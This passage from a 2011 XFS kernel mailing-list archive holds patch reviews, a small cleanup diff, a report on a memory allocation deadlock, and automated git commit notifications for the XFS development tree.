<1301087092.2537.691.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301315758 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 25, 2011 at 04:04:52PM -0500, Alex Elder wrote: > This one looks good overall. How about adding > documentation to Documentation/filesystems/xfs.txt > to describe the new mount options? I've added it. From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 07:40:57 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SCev9A166597 for ; Mon, 28 Mar 2011 07:40:57 -0500 X-ASG-Debug-ID: 1301316246-213903570000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2C521143CDB1 for ; Mon, 28 Mar 2011 05:44:07 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id IO1EAOeWi1YoLqXl for ; Mon, 28 Mar 2011 05:44:07 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4Bnh-0003pA-9W; Mon, 28 Mar 2011 12:44:05 +0000 Date: Mon, 28 Mar 2011 08:44:05 -0400 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 6/6] xfs: make discard operations asynchronous Subject: Re: [PATCH 6/6] xfs: make discard operations asynchronous Message-ID: <20110328124405.GA11909@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200138.216042448@bombadil.infradead.org> <20110323004323.GH15270@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110323004323.GH15270@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301316247 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 11:43:23AM +1100, Dave Chinner wrote: > > + struct xfs_cil_ctx *ctx = bio->bi_private; > > + > > + if (err && err != -EOPNOTSUPP) { > > + xfs_info(ctx->cil->xc_log->l_mp, > > + "I/O error during discard\n"); > > + } > > Same comment about the bno/len in the error message as the previous > patch. We don't have the len information available anymore at this point, but I've added the startblock. > > + max_discard_sectors = min(q->limits.max_discard_sectors, UINT_MAX >> 9); > > + if (q->limits.discard_granularity) { > > + unsigned int disc_sects = q->limits.discard_granularity >> 9; > > + > > + max_discard_sectors &= ~(disc_sects - 1); > > + } > > This is asking for a helper function.... Yes, but that helper needs to be shared with the block layer discard code, so I'll send it through Jens' tree later. > > + if (keep_alive) > > + xfs_cil_discard_done(ctx); > > + else > > + kmem_free(ctx); > > You could probably just call xfs_cil_discard_done(ctx) here as the > busy extent list will be empty in the !keep_alive case and so it > will simply do the kmem_free(ctx) call there. This means we clear the busy list a little later in the non-discard case, but it cleans up the code nicely. I've added it to the series as a separate patch. From Sean.Noonan@twosigma.com Mon Mar 28 09:55:48 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2SEtlEN171345 for ; Mon, 28 Mar 2011 09:55:48 -0500 X-ASG-Debug-ID: 1301324336-438400660000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx5.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id EF2E71131976 for ; Mon, 28 Mar 2011 07:58:56 -0700 (PDT) Received: from mx5.twosigma.com (mx5.twosigma.com [208.77.212.35]) by cuda.sgi.com with ESMTP id bEFM3kZIhx2rvwf2 for ; Mon, 28 Mar 2011 07:58:56 -0700 (PDT) Received: by mx5.twosigma.com (Postfix, from userid 108) id 49E3D3DDA63; Mon, 28 Mar 2011 14:58:55 +0000 (UTC) Received: from msxaoa1.twosigma.com (nfw2-1-dmz.twosigma.com [38.117.134.174]) by mx5.twosigma.com (Postfix) with ESMTP id 04B6E3DDA4E; Mon, 28 Mar 2011 14:58:55 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80:0000:0000:0000:5d02:8f37:242.212.227.132]) by msxaoa1.twosigma.com ([192.168.200.39]) with mapi; Mon, 28 Mar 2011 10:58:54 -0400 From: Sean Noonan To: "'Michel Lespinasse'" , Christoph Hellwig CC: "linux-kernel@vger.kernel.org" , Martin Bligh , Trammell Hudson , Christos Zoulas , "linux-xfs@oss.sgi.com" , Stephen Degler , "linux-mm@kvack.org" Date: Mon, 28 Mar 2011 10:58:53 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: AcvqfZivehhF+3ElQ0WLyr/42LSzHwC2ut6w Message-ID: <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx5.twosigma.com[208.77.212.35] X-Barracuda-Start-Time: 1301324336 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0001 1.0000 -2.0203 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.79 X-Barracuda-Spam-Status: No, SCORE=-1.79 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59222 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Regarding the deadlock: I am curious to see if it could be made to > happen before 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272. Could you test > what happens if you remove the MAP_POPULATE flag from your mmap call, > and instead read all pages from userspace right after the mmap ? I > expect you would then be able to trigger the deadlock before > 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272. I still see the deadlock without MAP_POPULATE Sean From dsterba@suse.cz Mon Mar 28 12:09:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SH9rfW175910 for ; Mon, 28 Mar 2011 12:09:53 -0500 X-ASG-Debug-ID: 1301332382-26c201c80000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.suse.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id C1497382BC6 for ; Mon, 28 Mar 2011 10:13:03 -0700 (PDT) Received: from mx1.suse.de (cantor.suse.de [195.135.220.2]) by cuda.sgi.com with SMTP id NfMVL1EPLWmMdGLo for ; Mon, 28 Mar 2011 10:13:03 -0700 (PDT) X-ASG-Whitelist: Barracuda Reputation Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 97D7E93A00; Mon, 28 Mar 2011 19:13:02 +0200 (CEST) Received: by ds.suse.cz (Postfix, from userid 10065) id E60C7747CE; Mon, 28 Mar 2011 19:13:01 +0200 (CEST) From: David Sterba To: xfs@oss.sgi.com Cc: aelder@sgi.com, David Sterba X-ASG-Orig-Subj: [PATCH] xfs: cleanup duplicate initializations Subject: [PATCH] xfs: cleanup duplicate initializations Date: Mon, 28 Mar 2011 19:12:53 +0200 Message-Id: <1301332373-24914-1-git-send-email-dsterba@suse.cz> X-Mailer: git-send-email 1.7.4.1.176.g501cc X-Barracuda-Connect: cantor.suse.de[195.135.220.2] X-Barracuda-Start-Time: 1301332383 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean follow these guidelines: - leave initialization in the declaration block if it fits the line - move to the code where it's more suitable ('for' init block) Signed-off-by: David Sterba --- fs/xfs/xfs_dfrag.c | 6 +----- fs/xfs/xfs_inode_item.c | 1 - fs/xfs/xfs_mount.c | 2 +- 3 files changed, 2 insertions(+), 7 deletions(-) diff --git a/fs/xfs/xfs_dfrag.c b/fs/xfs/xfs_dfrag.c index be62867..9a84a85 100644 --- a/fs/xfs/xfs_dfrag.c +++ b/fs/xfs/xfs_dfrag.c @@ -202,7 +202,7 @@ xfs_swap_extents( xfs_inode_t *tip, /* tmp inode */ xfs_swapext_t *sxp) { - xfs_mount_t *mp; + xfs_mount_t *mp = ip->i_mount; xfs_trans_t *tp; xfs_bstat_t *sbp = &sxp->sx_stat; xfs_ifork_t *tempifp, *ifp, *tifp; @@ -212,16 +212,12 @@ xfs_swap_extents( int taforkblks = 0; __uint64_t tmp; - mp = ip->i_mount; - tempifp = kmem_alloc(sizeof(xfs_ifork_t), KM_MAYFAIL); if (!tempifp) { error = XFS_ERROR(ENOMEM); goto out; } - sbp = &sxp->sx_stat; - /* * we have to do two separate lock calls here to keep lockdep * happy. If we try to get all the locks in one call, lock will diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index 46cc401..c64458b 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -957,7 +957,6 @@ xfs_iflush_abort( { xfs_inode_log_item_t *iip = ip->i_itemp; - iip = ip->i_itemp; if (iip) { struct xfs_ail *ailp = iip->ili_item.li_ailp; if (iip->ili_item.li_flags & XFS_LI_IN_AIL) { diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index bb3f9a7..08de13d 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -1900,7 +1900,7 @@ xfs_mod_incore_sb_batch( uint nmsb, int rsvd) { - xfs_mod_sb_t *msbp = &msb[0]; + xfs_mod_sb_t *msbp; int error = 0; /* -- 1.7.4.1.176.g501cc From aelder@sgi.com Mon Mar 28 13:50:42 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2SIogTu179177 for ; Mon, 28 Mar 2011 13:50:42 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id E67298F806F; Mon, 28 Mar 2011 11:53:49 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 28 Mar 2011 13:52:50 -0500 Subject: Re: [PATCH] xfs: cleanup duplicate initializations From: Alex Elder Reply-To: aelder@sgi.com To: David Sterba Cc: xfs@oss.sgi.com In-Reply-To: <1301332373-24914-1-git-send-email-dsterba@suse.cz> References: <1301332373-24914-1-git-send-email-dsterba@suse.cz> Content-Type: text/plain; charset="UTF-8" Date: Mon, 28 Mar 2011 13:52:50 -0500 Message-ID: <1301338370.2622.10.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 28 Mar 2011 18:52:50.0351 (UTC) FILETIME=[5637BBF0:01CBED79] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-03-28 at 19:12 +0200, David Sterba wrote: > follow these guidelines: > - leave initialization in the declaration block if it fits the line > - move to the code where it's more suitable ('for' init block) > > Signed-off-by: David Sterba Looks good. Reviewed-by: Alex Elder From aelder@oss.sgi.com Mon Mar 28 14:25:02 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2SJP2KM180618 for ; Mon, 28 Mar 2011 14:25:02 -0500 Received: (from aelder@localhost) by oss.sgi.com (8.14.3/8.14.3/Submit) id p2SJOwfq180561; Mon, 28 Mar 2011 14:24:58 -0500 Date: Mon, 28 Mar 2011 14:24:58 -0500 Message-Id: <201103281924.p2SJOwfq180561@oss.sgi.com> From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-linus, updated. v2.6.37-rc4-9207-g0e6e847 X-Git-Refname: refs/heads/for-linus X-Git-Reftype: branch X-Git-Oldrev: 0c9ba97318fc9a905bcc1419b6966de061203a70 X-Git-Newrev: 0e6e847ffe37436e331c132639f9f872febce82e This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-linus has been updated 0e6e847 xfs: stop using the page cache to back the buffer cache 704b290 xfs: register the inode cache shrinker before quotachecks 7401aaf xfs: xfs_trans_read_buf() should return an error on failure 1bfd8d0 xfs: introduce inode cluster buffer trylocks for xfs_iflush a19fb38 vmap: flush vmap aliases when mapping fails 8287889 xfs: preallocation transactions do not need to be synchronous from 0c9ba97318fc9a905bcc1419b6966de061203a70 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 0e6e847ffe37436e331c132639f9f872febce82e Author: Dave Chinner Date: Sat Mar 26 09:16:45 2011 +1100 xfs: stop using the page cache to back the buffer cache Now that the buffer cache has it's own LRU, we do not need to use the page cache to provide persistent caching and reclaim infrastructure. Convert the buffer cache to use alloc_pages() instead of the page cache. This will remove all the overhead of page cache management from setup and teardown of the buffers, as well as needing to mark pages accessed as we find buffers in the buffer cache. By avoiding the page cache, we also remove the need to keep state in the page_private(page) field for persistant storage across buffer free/buffer rebuild and so all that code can be removed. This also fixes the long-standing problem of not having enough bits in the page_private field to track all the state needed for a 512 sector/64k page setup. It also removes the need for page locking during reads as the pages are unique to the buffer and nobody else will be attempting to access them. Finally, it removes the buftarg address space lock as a point of global contention on workloads that allocate and free buffers quickly such as when creating or removing large numbers of inodes in parallel. This remove the 16TB limit on filesystem size on 32 bit machines as the page index (32 bit) is no longer used for lookups of metadata buffers - the buffer cache is now solely indexed by disk address which is stored in a 64 bit field in the buffer. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder commit 704b2907c2d47ceb187c0e25a6bbc2174b198f2f Author: Dave Chinner Date: Sat Mar 26 09:14:57 2011 +1100 xfs: register the inode cache shrinker before quotachecks During mount, we can do a quotacheck that involves a bulkstat pass on all inodes. If there are more inodes in the filesystem than can be held in memory, we require the inode cache shrinker to run to ensure that we don't run out of memory. Unfortunately, the inode cache shrinker is not registered until we get to the end of the superblock setup process, which is after a quotacheck is run if it is needed. Hence we need to register the inode cache shrinker earlier in the mount process so that we don't OOM during mount. This requires that we also initialise the syncd work before we register the shrinker, so we nee dto juggle that around as well. While there, make sure that we have set up the block sizes in the VFS superblock correctly before the quotacheck is run so that any inodes that are cached as a result of the quotacheck have their block size fields set up correctly. Cc: stable@kernel.org Signed-off-by: Dave Chinner Reviewed-by: Alex Elder commit 7401aafd5019d32a888e5f27332cf580945574bf Author: Dave Chinner Date: Sat Mar 26 09:14:44 2011 +1100 xfs: xfs_trans_read_buf() should return an error on failure When inside a transaction and we fail to read a buffer, xfs_trans_read_buf returns a null buffer pointer and no error. xfs_do_da_buf() checks the error return, but not the buffer, and as a result this read failure condition causes a panic when it attempts to dereference the non-existant buffer. Make xfs_trans_read_buf() return the same error for this situation regardless of whether it is in a transaction or not. This means every caller does not need to check both the error return and the buffer before proceeding to use the buffer. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder commit 1bfd8d04190c615bb8d1d98188dead0c09702208 Author: Dave Chinner Date: Sat Mar 26 09:13:55 2011 +1100 xfs: introduce inode cluster buffer trylocks for xfs_iflush There is an ABBA deadlock between synchronous inode flushing in xfs_reclaim_inode and xfs_icluster_free. xfs_icluster_free locks the buffer, then takes inode ilocks, whilst synchronous reclaim takes the ilock followed by the buffer lock in xfs_iflush(). To avoid this deadlock, separate the inode cluster buffer locking semantics from the synchronous inode flush semantics, allowing callers to attempt to lock the buffer but still issue synchronous IO if it can get the buffer. This requires xfs_iflush() calls that currently use non-blocking semantics to pass SYNC_TRYLOCK rather than 0 as the flags parameter. This allows xfs_reclaim_inode to avoid the deadlock on the buffer lock and detect the failure so that it can drop the inode ilock and restart the reclaim attempt on the inode. This allows xfs_ifree_cluster to obtain the inode lock, mark the inode stale and release it and hence defuse the deadlock situation. It also has the pleasant side effect of avoiding IO in xfs_reclaim_inode when it tries to next reclaim the inode as it is now marked stale. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Alex Elder commit a19fb380961f209a3a406443686647bcd01bb9a6 Author: Dave Chinner Date: Sat Mar 26 09:13:42 2011 +1100 vmap: flush vmap aliases when mapping fails On 32 bit systems, vmalloc space is limited and XFS can chew through it quickly as the vmalloc space is lazily freed. This can result in failure to map buffers, even when there is apparently large amounts of vmalloc space available. Hence, if we fail to map a buffer, purge the aliases that have not yet been freed to hopefuly free up enough vmalloc space to allow a retry to succeed. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Alex Elder commit 8287889742940cf3c416e755322090d09f2829be Author: Dave Chinner Date: Sat Mar 26 09:13:08 2011 +1100 xfs: preallocation transactions do not need to be synchronous Preallocation and hole punch transactions are currently synchronous and this is causing performance problems in some cases. The transactions don't need to be synchronous as we don't need to guarantee the preallocation is persistent on disk until a fdatasync, fsync, sync operation occurs. If the file is opened O_SYNC or O_DATASYNC, only then should the transaction be issued synchronously. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Alex Elder ----------------------------------------------------------------------- Summary of changes: fs/xfs/linux-2.6/xfs_buf.c | 355 +++++++++++------------------------------- fs/xfs/linux-2.6/xfs_buf.h | 40 +----- fs/xfs/linux-2.6/xfs_file.c | 6 +- fs/xfs/linux-2.6/xfs_ioctl.c | 4 + fs/xfs/linux-2.6/xfs_super.c | 36 +++-- fs/xfs/linux-2.6/xfs_sync.c | 30 ++++- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_inode_item.c | 6 +- fs/xfs/xfs_trans_buf.c | 3 +- fs/xfs/xfs_vnodeops.c | 3 +- fs/xfs/xfs_vnodeops.h | 1 + 11 files changed, 165 insertions(+), 321 deletions(-) hooks/post-receive -- XFS development tree From aelder@oss.sgi.com Mon Mar 28 14:26:18 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.7 required=5.0 tests=ALL_TRUSTED,BAYES_00, J_CHICKENPOX_51,J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2SJQIDW181164 for ; Mon, 28 Mar 2011 14:26:18 -0500 Received: (from aelder@localhost) by oss.sgi.com (8.14.3/8.14.3/Submit) id p2SJQC0N180724; Mon, 28 Mar 2011 14:26:12 -0500 Date: Mon, 28 Mar 2011 14:26:12 -0500 Message-Id: <201103281926.p2SJQC0N180724@oss.sgi.com> From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-linus-merged, updated. v2.6.37-rc4-20263-ge677de4 X-Git-Refname: refs/heads/for-linus-merged X-Git-Reftype: branch X-Git-Oldrev: 92f1c008ae79e32b83c0607d184b194f302bb3ee X-Git-Newrev: e677de452c3d08daaca53cfb128a357ac64ad848 This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-linus-merged has been updated e677de4 Merge branch 'master' of git://oss.sgi.com/xfs/xfs into for-linus-merged 0e6e847 xfs: stop using the page cache to back the buffer cache 704b290 xfs: register the inode cache shrinker before quotachecks 7401aaf xfs: xfs_trans_read_buf() should return an error on failure 1bfd8d0 xfs: introduce inode cluster buffer trylocks for xfs_iflush a19fb38 vmap: flush vmap aliases when mapping fails 8287889 xfs: preallocation transactions do not need to be synchronous 6c51038 Merge branch 'for-2.6.39/core' of git://git.kernel.dk/linux-2.6-block 3155fe6 Merge branch 'for-linus' of git://oss.sgi.com/xfs/xfs a44f99c Merge branch 'trivial' of git://git.kernel.org/pub/scm/linux/kernel/git/mmarek/kbuild-2.6 0ccd234 fs: change to new flag variable 0f6e0e8 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6 bd2895e Merge branch 'for-2.6.39' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/wq 5fe0c23 exportfs: Return the minimum required handle size 0c9ba97 xfs: don't name variables "panic" 4c63f56 Merge branch 'for-2.6.39/stack-plug' into for-2.6.39/core 721a960 block: kill off REQ_UNPLUG 7eaceac block: remove per-queue plugging ecb6928 xfs: factor agf counter updates into a helper 86fa8af xfs: clean up the xfs_alloc_compute_aligned calling convention fe3fa43 Merge branch 'master' of git://git.infradead.org/users/eparis/selinux into next 9130090 xfs: kill support/debug.[ch] 0b932cc xfs: Convert remaining cmn_err() callers to new API 8221112 xfs: convert the quota debug prints to new API 6d4a8ec xfs: rename xfs_cmn_err_fsblock_zero() 5348778 xfs: convert xfs_fs_cmn_err to new error logging API af34e09 xfs: kill xfs_fs_mount_cmn_err() macro 65333b4 xfs: kill xfs_fs_repair_cmn_err() macro 6a19d93 xfs: convert xfs_cmn_err to xfs_alert_tag a0fa2b6 xfs: Convert xlog_warn to new logging interface 4f10700 xfs: Convert linux-2.6/ files to new logging interface af24ee9 xfs: zero proper structure size for geometry calls 10e3839 xfs: introduce new logging API. eeb2036 xfs: zero proper structure size for geometry calls 20ad9ea xfs: enable delaylog by default ec3ba85 xfs: more sensible inode refcounting for ialloc 1050c71 xfs: stop using xfs_trans_iget in the RT allocator be71514 xfs: check if device support discard in xfs_ioc_trim() 3a3675b xfs: prevent leaking uninitialized stack memory in FSGEOMETRY_V1 5d15765 xfs: check if device support discard in xfs_ioc_trim() c4d0c3b xfs: prevent leaking uninitialized stack memory in FSGEOMETRY_V1 43d133c Merge branch 'master' into for-2.6.39 9681153 xfs: add lockdep annotations for the rt inodes 0d8b30a xfs: fix xfs_get_extsz_hint for a zero extent size hint 04e9945 xfs: only lock the rt bitmap inode once per allocation 2a7dba3 fs/vfs/security: pass last path component to LSM on inode creation 83e7590 xfs: convert to alloc_workqueue() 24446fc xfs: xfs_bmap_add_extent_delay_real should init br_startblock 0fbca4d xfs: fix dquot shaker deadlock c6f990d xfs: handle CIl transaction commit failures correctly 5315837 xfs: limit extsize to size of AGs and/or MAXEXTLEN 4ce1598 xfs: prevent extsize alignment from exceeding maximum extent size 14b064c xfs: limit extent length for allocation to AG size b8fc826 xfs: speculative delayed allocation uses rounddown_power_of_2 badly e34a314 xfs: fix efi item leak on forced shutdown 7db37c5 xfs: fix log ticket leak on forced shutdown. cf78859 xfs: Do not name variables "panic" 2fe17c1 fallocate should be a file operation 64c23e8 make the feature checks in ->fallocate future proof 7cb3920 Merge branch 'for-linus' of git://oss.sgi.com/xfs/xfs 275220f Merge branch 'for-2.6.38/core' of git://git.kernel.dk/linux-2.6-block b2034d4 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs-2.6 008d23e Merge branch 'for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/trivial c25d246 XFS: handle hole punching via fallocate properly 73efe4a xfs: prevent NMI timeouts in cmn_err 65a84a0 xfs: Add log level to assertion printk 1884bd8 xfs: fix an assignment within an ASSERT() bfc6017 xfs: fix error handling for synchronous writes a46db60 xfs: add FITRIM support c58efdb xfs: ensure log covering transactions are synchronous eda7798 xfs: serialise unaligned direct IOs 4d8d158 xfs: factor common write setup code 637bbc7 xfs: split buffered IO write path from xfs_file_aio_write f0d26e8 xfs: split direct IO write path from xfs_file_aio_write 487f84f xfs: introduce xfs_rw_lock() helpers for locking the inode 4c5cfd1 xfs: factor post-write newsize updates edafb6d xfs: factor common post-write isize handling code a363f0c xfs: ensure sync write errors are returned 4b7bd36 Merge branch 'master' into for-next f30195c Merge branch 'cleanup-bd_claim' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/misc into for-2.6.38/core d4d7762 block: clean up blkdev_get() wrappers and their users e525fd8 block: make blkdev_get/put() handle exclusive access b595076 tree-wide: fix comment/printk typos from 92f1c008ae79e32b83c0607d184b194f302bb3ee (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit e677de452c3d08daaca53cfb128a357ac64ad848 Merge: 18bcd0c8cb7d85a9063b88ec810dc1cdc0974518 0e6e847ffe37436e331c132639f9f872febce82e Author: Alex Elder Date: Mon Mar 28 11:23:56 2011 -0500 Merge branch 'master' of git://oss.sgi.com/xfs/xfs into for-linus-merged Merge the content of the XFS master branch into Linus' current master. Fix the conflicts that arise due to Jens Axboe's recent on-stack queue plugging (in "fs/xfs/linux-2.6/xfs_buf.c"). commit 6c5103890057b1bb781b26b7aae38d33e4c517d8 Merge: 3dab04e6978e358ad2307bca563fabd6c5d2c58b 9d2e157d970a73b3f270b631828e03eb452d525e Author: Linus Torvalds Date: Thu Mar 24 10:16:26 2011 -0700 Merge branch 'for-2.6.39/core' of git://git.kernel.dk/linux-2.6-block * 'for-2.6.39/core' of git://git.kernel.dk/linux-2.6-block: (65 commits) Documentation/iostats.txt: bit-size reference etc. cfq-iosched: removing unnecessary think time checking cfq-iosched: Don't clear queue stats when preempt. blk-throttle: Reset group slice when limits are changed blk-cgroup: Only give unaccounted_time under debug cfq-iosched: Don't set active queue in preempt block: fix non-atomic access to genhd inflight structures block: attempt to merge with existing requests on plug flush block: NULL dereference on error path in __blkdev_get() cfq-iosched: Don't update group weights when on service tree fs: assign sb->s_bdi to default_backing_dev_info if the bdi is going away block: Require subsystems to explicitly allocate bio_set integrity mempool jbd2: finish conversion from WRITE_SYNC_PLUG to WRITE_SYNC and explicit plugging jbd: finish conversion from WRITE_SYNC_PLUG to WRITE_SYNC and explicit plugging fs: make fsync_buffers_list() plug mm: make generic_writepages() use plugging blk-cgroup: Add unaccounted time to timeslice_used. block: fixup plugging stubs for !CONFIG_BLOCK block: remove obsolete comments for blkdev_issue_zeroout. blktrace: Use rq->cmd_flags directly in blk_add_trace_rq. ... Fix up conflicts in fs/{aio.c,super.c} commit 3155fe6df553472fd7c07e7788b0e542cd828c91 Merge: da48524eb20662618854bb3df2db01fc65f3070c 0c9ba97318fc9a905bcc1419b6966de061203a70 Author: Linus Torvalds Date: Mon Mar 21 14:24:56 2011 -0700 Merge branch 'for-linus' of git://oss.sgi.com/xfs/xfs * 'for-linus' of git://oss.sgi.com/xfs/xfs: (23 commits) xfs: don't name variables "panic" xfs: factor agf counter updates into a helper xfs: clean up the xfs_alloc_compute_aligned calling convention xfs: kill support/debug.[ch] xfs: Convert remaining cmn_err() callers to new API xfs: convert the quota debug prints to new API xfs: rename xfs_cmn_err_fsblock_zero() xfs: convert xfs_fs_cmn_err to new error logging API xfs: kill xfs_fs_mount_cmn_err() macro xfs: kill xfs_fs_repair_cmn_err() macro xfs: convert xfs_cmn_err to xfs_alert_tag xfs: Convert xlog_warn to new logging interface xfs: Convert linux-2.6/ files to new logging 